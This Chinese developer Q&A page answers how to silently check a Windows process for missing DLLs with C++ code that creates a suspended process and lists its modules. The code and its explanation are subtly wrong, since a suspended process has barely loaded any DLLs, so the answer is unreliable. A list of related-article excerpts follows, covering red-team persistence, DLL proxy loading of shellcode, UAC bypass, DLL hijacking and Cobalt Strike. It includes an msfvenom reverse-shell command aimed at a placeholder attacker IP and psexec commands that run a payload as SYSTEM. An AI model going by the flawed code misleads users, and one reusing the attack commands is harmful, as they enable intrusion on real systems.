首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

创建一个Windows进程以静默检查丢失的DLL

创建一个Windows进程以静默检查丢失的DLL是一个涉及到操作系统和程序运行的问题。在这里,我们将提供一个简单的方法来创建一个Windows进程,以静默检查丢失的DLL。

首先,我们需要创建一个C++程序来实现这个功能。以下是一个简单的示例代码:

代码语言:cpp
复制
#include<iostream>
#include<Windows.h>

int main() {
    // 创建一个进程
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    BOOL result = CreateProcess(TEXT("C:\\path\\to\\your\\executable.exe"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    if (result) {
        std::cout << "Process created successfully."<< std::endl;
    } else {
        std::cout << "Failed to create process."<< std::endl;
        return 1;
    }

    // 遍历进程的模块
    HMODULE hMods[1024];
    DWORD cbNeeded;
    if (EnumProcessModules(pi.hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        for (int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
            TCHAR szModName[MAX_PATH];
            if (GetModuleFileNameEx(pi.hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
                std::wcout << "Module " << i + 1 << ": " << szModName<< std::endl;
            }
        }
    }

    // 释放进程句柄
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

这个程序将创建一个新的进程,并检查其加载的所有模块。如果某个模块(DLL)丢失,那么程序将不会输出任何有关该模块的信息。

请注意,这个程序仅用于演示目的,并且可能需要根据您的具体需求进行修改。在实际应用中,您可能需要使用更高级的技术来检测丢失的DLL,例如使用动态链接库(DLL)注入技术或者使用其他工具和技术来检测和修复丢失的DLL。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

360安全卫士极速版“诱导式”推广 静默安装且对抗安全软件

主要逻辑代码如下图所示,具体检查火绒以及静默安装360安全卫士极速版代码见” 360ini.dll下载安装模块”: 360高速下载器判断逻辑 KitTip.dll诱导推广弹窗模块 360系列软件会加载...360压缩为例,360zip.exe进程调用RunTip函数时传入cid为9510026,相关代码如下图所示: 获取RunTip函数地址 调用RunTip函数 首先会检查当前主机安全防护软件安装情况...包 下载推广弹窗图cab包内容如下图所示: 推广弹窗图片cab包内容 推广弹窗logo cab包内容 最终根据上述下载推广弹窗文件创建弹窗广告,并根据用户不同操作执行相应代码逻辑,相关代码如下图所示...函数内部会通过注入explorer.exe进程,在注入dll中下载360安全卫士极速版安装包。...主要代码如下图所示: 执行静默安装程序 使用Procmon可以观察到最终执行进程树如下图所示: Procmon进程树 二、附录 样本hash

1.1K10

红队之浅谈基于Windows telemetry权限维持

功能,在这个程序静态退出时候可以直接静默执行另一个程序。...添加名称为Command 类型是REG_SZ ,Data value填写我们要执行exe程序; 创建一个DWORDKEY,名称可以为Nightly,Oobe,Maintanance并将它们值设置成...(这里也能使用dll注入等各种方法,记得将其注入到其他进程中,不然进程会结束。反弹shell命令也不宜过长,同样道理。)...无论有没有成功检查,存在命令行参数将决定程序在哪种运行模式下运行。存在三种与某些条件相对应运行模式。 如果命令行参数指定了一个DLL或者function。...最终,它作为第二个参数传递给函数CreateProcessW(CreateProcessW)用于创建一个进程及其主线程。新进程在调用进程安全运行。等效于将其作为shell命令运行。

71420

红队之浅谈基于Windows telemetry权限维持

功能,在这个程序静态退出时候可以直接静默执行另一个程序。...添加名称为Command 类型是REG_SZ ,Data value填写我们要执行exe程序; 创建一个DWORDKEY,名称可以为Nightly,Oobe,Maintanance并将它们值设置成...(这里也能使用dll注入等各种方法,记得将其注入到其他进程中,不然进程会结束。反弹shell命令也不宜过长,同样道理。) ?...无论有没有成功检查,存在命令行参数将决定程序在哪种运行模式下运行。存在三种与某些条件相对应运行模式。 如果命令行参数指定了一个DLL或者function。...最终,它作为第二个参数传递给函数CreateProcessW(CreateProcessW)用于创建一个进程及其主线程。新进程在调用进程安全运行。等效于将其作为shell命令运行。

89910

Windows 下使用 runas 命令指定权限启动一个进程(非管理员、管理员)

在默认情况下,Windows 系统中启动一个进程会继承父进程令牌。如果父进程是管理员权限,那么子进程就是管理员权限;如果父进程是标准用户权限,那么子进程也是标准用户权限。...我们也知道,可以使用一些方法为自己应用程序提权。但是有没有方法可以任意指定一个权限然后运行呢?本文将介绍 Windows 下指定权限运行做法。...runas 命令 runas 是 Windows 系统上自带一个命令,通过此命令可以指定权限级别间接启动我们程序,而不止是继承父进程权限。...关于如何在程序中判断当前是否管理员权限运行,可以阅读我和林德熙博客: dotnet 判断程序当前使用管理员运行降低权使用普通权限运行 - 林德熙 在 Windows 系统上降低 UAC 权限运行程序...提权运行或者降权运行 我标准用户权限和管理员权限分别启动了一个 PowerShell Core,然后准备在这两个窗口里面分别启动我检测管理员权限程序。

2.5K40

Winnti黑客组织MSSQL后门分析

后门允许攻击者复制、修改或删除数据库内容,可以用来操纵游戏中货币获取经济利益。据了解,skip-2.0是第一个公开记录mssql服务器后门。...持久性 与portreuse和shadowpad一样,启动程序可能会通过利用dll劫持而持续存在,方法是将其安装在c:\windows\system32\tsvipsrv.dll。...skip-2.0 在被内部加载程序注入并启动之后,skip-2.0首先检查它是否在sqlserv.exe进程中执行,如果是,则检索sqllang.dll句柄,该句柄由sqlserv.exe加载。...此函数钩子检查用户提供密码是否与magic密码匹配;如果是,则不会调用原始函数,钩子将返回0,从而允许连接。然后设置一个全局标志,该标志将由负责事件日志记录其他hook函数进行检查。...为了检查skip-2.0是否针对特定sqllang.dll版本,创建一个yara规则,该规则可以在github库中找到。

1.4K20

弹性边界:如何利用环境变量进行提权

注册表值中扩展 Windows注册表支持REG_EXPAND_SZ类型值,一个字符串类型注册表值,其命令读取进程扩展其内所有变量,扩展进程在程序使用该值之前执行。...以下为基于环境变量扩展攻击场景 场景1:”DLL注入” 假设: 如果通过一个扩展了环境字符串加载DLL文件,攻击者通过改变环境变量可获得一个进程来加载该文件,但需在创建之前提供给这个进程。...如果用户被允许较高权限执行进程,由微软用户帐户控制机制所定义。该进程将作为svchost.exe进程在用户控制以外预设环境下被创建。 问题来了,创建进程将得到当前用户环境一个副本。...一般来说,有一个由微软选定允许静默运行可执行文件集合。 这份清单是应该是在系统安全性和用户友好体验之间提出一个合理折中方案。...假设: 如果有一个COM对象允许在用户不知情情况下更高权限加载 – 攻击者可以使用该机制,来替代执行命令以及创建自己进程。 可能性: 不产生新进程前提下,进行特权提升。

1.3K70

DLL代理加载shellcod用于免杀,维权等等

DLL侧面加载或DLL代理加载允许攻击者滥用合法和经过签名可执行文件,在受感染系统上执行代码。自2017年以来,这种技术一直很流行。...我们可以使用Process Hacker之类工具来检查应用程序加载了哪些模块,并进一步确认该DLL确实已加载。...SharpDllProxy –制作代理有效负载 下一步是制作我们代理DLL将合法函数调用重定向到原始DLL,以及在后台静默加载我们shellcode。...为了简化此步骤,我创建一个名为“ SharpDllProxy”简单Dotnet核心应用程序。...分析一下代码,我们看到一旦触发了DLL_PROCESS_ATTACH事件(L485-489),生成源代码就会创建一个新线程。

2.5K10

Windows中劫持DLL

:使用一个恶意DLL来代替合法应用程序尝试加载丢失/不存在DLL DLL重定向:通过编辑改变,其中DLL被搜索位置,例如%PATH%环境变量,或.exe.manifest/.exe.local文件...有些应用程序附带了一个GUI,或者其他一些可视化元素,这些元素显示了执行二进制文件,这还包括错误消息:所需DLL可能丢失,而被劫持DLL显然缺少原始功能,攻击者不太可能将此类应用程序作为DLL劫持目标...在Windows7中引入了自动提升功能,如果某些进程位于受信任目录(如c:\Windows\system32)中,它会自动提升这些进程。...,用户可以创建C:\windows \system32\(注意第一个文件夹后面的空格),并自动提升放置在该文件夹中可执行文件,将其视为受信任位置 这是否是一个适当安全漏洞值得商榷-微软辩称不是,...DLL应用程序没有其他借口,更好选择(只有极少数Windows可执行文件似乎可以这样做)是在加载所有DLL之前先对其进行验证(例如,通过检查其签名),这将在很大程度上消除该问题。

2K10

MSXXX[].dll报错外,还遇到过由于找不到d3dx*_*.dll报错,例如d3dx9_43.dll

图片.png 报丢失MSXXX[][][].dll错误,一般是缺少VB、VC基础库 有个汇总vc库开源项目在不定期更新,https://github.com/abbodi1406/vcredist...除过MSXXX[][][].dll报错,我还遇到过由于找不到d3dx*_*.dll,无法继续执行代码报错,例如d3dx9_43.dll,经过我实践,发现安装如下程序能解决问题。...:\directx_Jun2010_redist.exe 离线安装文件在安装时报错率较高,报错时候使用在线安装版可以一次性成功,如果机器没网,可以准备好离线文件后使用静默安装方式,这个方式不报错。...cmd命令行静默安装命令: rd /s /q c:\temp\tmp\tmp 2>nul 1>nul mkdir c:\temp\tmp\tmp 2>nul 1>nul del C:\Windows\...Logs\DirectX.log 2>nul 1>nul del C:\Windows\Logs\DXError.log 2>nul 1>nul powershell -command "start-process

55250

dotnet 桌面端基于 AppHost 配置式自动切换更新后应用程序路径

而且本文方法不需要额外其他一个独立启动进程,而是入口文件进程就是最终 dotnet 进程,可以做到固定到任务栏等不会在自动更新时候丢失 配置式软件更新指的是有一个入口进程,在入口进程里面读取配置文件内容...有两个实现方法,第一个方法是入口进程一个独立进程,而实际运行软件又是另一个进程。...第二个做法是通过修改 app.config 文件文件寻址方法修改加载 Dll 路径,让 Dll 作为实际入口 以上一个方法存在问题是两个进程会影响启动性能,同时两个进程会影响用户固定到任务栏动作...而且咱还有一个黑科技,是在 Windows 下,在 Exe 文件被执行过程中,是可以移动或命名文件,此时不会存在问题,因此自动更新时候,可以通过先重命名再替换文件方式实现更新入口文件。...详细请看 Windows应用程序在运行期间可以给自己改名(可以做 OTA 自我更新) - walterlv

63320

CobalStrike 4.0 生成后门几种方式 及 主机上线后基础操作

使用VBA选项来静默派生一个MicrosoftExcel实例并运行一个恶意宏来将payload注入到内存中。...Windows DLL (32-bit)是一个 x86 Windows DLLWindows DLL (64-bit)是一个x64Windows DLL。...这个DLL会派生一个32位进程,并且将你监听器迁移至其上。这两个DLL选项都会导出一个开始功能,此功能与rundll32 .exe相兼容。使用rundll32 .exe来从命令行加载你DLL。...5、Windows Executable(s) 该程序包直接导出Beacon (也就是payload stage),这个Beacon是作者写好32或64位DLL,是一个不使用stager可执行文件,...to a Beacon peer over a named pipe 37. logonpasswords 使⽤mimikatz转储凭据和哈希值 38. ls 列出⽂件 39. make_token 创建令牌传递凭据

3.2K10

神秘APT组织锁定(IIS)Web服务器,擅长规避恶意软件检测

为IIS量身定制恶意软件框架 黑客利用这些RCE漏洞反射性地将恶意DLL加载到易受攻击Web服务器内存中。然后,这个DLL又反射性地加载了一个恶意软件组件。...反射加载是一种将恶意DLL注入现有进程并Hook其功能技术。...这种技术好处是某些Windows机制(例如在运行时将DLL注册为模块)被绕过,并且文件实际上并未写入磁盘;缺点是感染缺乏持久性,由于流氓DLL仅存在于RAM中,因此如果重新启动其父进程(parent...NodeIISWeb通常用于部署另一个名为“ExtDLL.dll自定义Windows 后门,该后门可用于操作文件和目录、收集系统信息、加载和执行DLL并实施各种攻击技术,例如代码注入和令牌操作。...NodeIISWeb和ExtDLL.dll加载附加DLL模块之一称为“PSRunner.dll”,它允许在主机上运行PowerShell脚本,而无需生成PowerShell进程

1.7K40

Bypass-UAC(用户帐户控制)那些事

换句话说,它是Windows一个安全功能,它支持防止对操作系统进行未经授权修改,UAC确保仅在管理员授权情况下进行某些更改。...(3) 虚拟DLL劫持:释放一个恶意DLL来代替合法应用程序加载丢失/不存在DLL (4) DLL重定向:更改DLL搜索路径,比如通过编辑%PATH%环境变量或 .exe.manifest/.exe.local...为了能够迷惑系统,通过修改PEB结构,让系统误认为这是一个可信进程,伪装可信进程可以是calc.exe、rundll32.exe、explorer.exe等。...获得meterpreter会话1后,输入以下命令检查是否是system权限 三、windows绕过UAC一些方式 1.Windows权限升级绕过UAC保护 此模块将通过进程注入使用可信任发布者证书绕过...5.Windows权限升级绕过UAC保护(通过COM处理程序劫持) 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。

1.7K20

权限维持分析及防御

域环境中DC安全模式启动选项 每个DC都有一个本地管理员账户(也就是DSRM账号) DSRM用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境运行恢复正常 在域环境创建时...日志 2、SSP维持域控权限 SSP(Security Support Provider)是Windows安全机制提供者 是一个DLL文件 主要用来实现Windows身份认证功能,如NTLM、Kerberos...系统进程,用于本地安全和登陆策略 在系统启动时,SSP将被加载到lsass.exe进程中 假如攻击者对LSA进行了扩展,自定义了恶意DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取...lsass.exe进程明文密码,这样即使用户更改密码并重新登陆,依然可以获取 (1)方法一 是使用mimikatz将伪造SSP注人内存,重启就丢失 //注销用户 ....(3)防范 查看hklm\system\currentcontrolset\control\lsa\Security Packages注册表项是否含有可疑DLL文件 检查C:\windows\system32

94010

“兵不厌诈”?漏洞还是那些漏洞,攻击技术却层出不穷

由于一个镂空进程是在挂起状态下创建,它内存被取消映射并被恶意代码替换。恶意代码执行在合法进程下被掩盖,通常会绕过普通安全产品防御和检测分析。...(2)另一种称为反射动态链接库 (DLL) 加载技术,加载DLL时发生在内存而非磁盘。Windows没有支持此功能LoadLibrary函数,因此如果用户怀疑遭恶意使用,可以检查并阻止它。...因此,先进下一代网络安全解决方案可以在暂停模式下检测进程注入,这会清空原始内存并阻止受影响进程。 4、提权保护 Windows进程一个所谓安全标识符 (SID)。...SID是可变长度唯一值,用于标识安全主体(例如安全组)。 当父进程创建进程时,子进程继承SID。这需要在应用程序加载期间进行检查,因为用户可从中发现恶意活动。在流程执行期,SID不能被更改。...例如,如果攻击者想要将CreateProcessWithToken函数与来自另一个进程安全令牌(可能被预先窃取)一起使用,则将提取SID并根据当前进程进行检查

48930

隔空执行学习总结

通过txt来执行木马程序 把haha.txt放到某个web目录里 msi=静默安装包 这里我们假设已经入侵成功需要运行某个软件 默认位置: c:/windows/system32/msiexec.exe...这里我们通过将txt文件存入网站中然后在对方电脑中通过msi进行一个静默安装 通过dll执行 msfvenom -p windows/x64/shell/reverse_tcp lhost=[黑客ip]...准备工作: 1.目标主机防火墙最好关闭 2.创建/获得对方计算机用户名密码 直接控制对方cmd psexec \\目标ip -u [目标用户名] -p [密码] cmd.exe 控制对方电脑运行自己...-p [密码] -d notepad.exe system权限运行自己电脑xk.exe psexec \\目标ip -u [目标用户名] -p [密码] -s -c c:\xk.exe system...在目标上运行黑客电脑c盘xk.exe pcalua -m -a \\黑客ip\c$\xk.exe 这样可以在对方电脑上运行自己电脑上一个木马文件,可以用于内网 查询电脑共享文件 ------

15520

DLL攻击漫谈

DLL主要用于在系统上应用程序和进程之间共享此内容,以便在为Windows创建应用程序时为程序员提供高度灵活性。 DLL相同访问权限在调用过程内存中执行。...使用Windows操作系统时,进程加载算法关键步骤包括将动态链接库(DLL)加载到内存中,以利用其功能并满足其进程DLL之间依赖关系。每当启动进程时,都会发生此操作。...由于一个系统可能承载可能需要同一个DLL许多进程这一事实,因此应采用一种系统来确保从正确路径加载所需DLL,同时确保已找到该DLL最相关版本。...来筛选未找到DLL结尾路径任何操作: ?...最后一步:拿一个shell 确定了进程和易受攻击路径之后,所缺少就是创建我们希望执行DLL有效负载。

1.2K10

权限维持方法小结

\Windows NT\CurrentVersion\Windows\AppInit_DLLs 查看异常dll文件 通过Process Explorer查看进程加载dll (8)文件关联 文件关联就是指系统把指定扩展名文件自动关联到相应应用程序...因此检查一个文件是否与某个程序关联可以按照这个顺序检查。...与DLL劫持原理相近,但是COM组件劫持目标不一定是一个进程,也可以是一个Windows API,劫持所需文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件。...-u=s -type f 2>/dev/null 清除 清除文件即可 6、inetd服务后门 inetd是一个监听外部网络请求(就是一个socket)系统守护进程,其实有很多比较古老服务都是基于此守护进程...ptrace系统调用允许一个进程去调试另外一个进程

3K10
领券